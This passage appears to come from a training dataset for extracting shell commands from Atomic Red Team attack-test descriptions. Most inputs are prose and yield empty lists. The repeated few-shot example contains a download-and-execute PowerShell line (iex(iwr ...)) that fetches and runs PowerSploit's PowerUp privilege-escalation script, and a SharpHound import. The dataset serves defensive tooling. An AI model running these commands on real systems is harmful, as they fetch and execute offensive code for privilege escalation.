Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Clears Docker container logs using the Docker CLI and the truncate command, removing all log entries.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Add an existing Azure user account the Company Administrator Role.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Mac Defaults\n\n[Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Use the PowerShell to execute COM CLSID object.\nReference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Copy the users GnuPG (.gnupg) directory on a FreeBSD system to a staging folder using the `rsync` command.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test creates a listening interface on a victim device. This tactic was used by HARDRAIN for proxying.\n\nreference: https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test performs a Windows system logoff as seen in [dcrat backdoor capabilities](https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Take a screen capture of the desktop through a call to the [Graphics.CopyFromScreen] .NET API.\n\n[Graphics.CopyFromScreen]: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following Atomic will utilize AppCmd.exe to install a new IIS Module. IIS must be installed.\nThis atomic utilizes a DLL on disk, but to test further suspiciousness, compile and load [IIS-Raid](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/).\nA successful execution will install a module into IIS using AppCmd.exe.\n[Managing and installing Modules Reference](https://learn.microsoft.com/en-us/iis/get-started/introduction-to-iis/iis-modules-overview#to-install-a-module-using-appcmdexe)\n[IIS Modules](https://www.microsoft.com/en-us/security/blog/2022/12/12/iis-modules-the-evolution-of-web-shells-and-how-to-detect-them/)\n",
    "output": "{\"command_list\": []}"
  },
  {
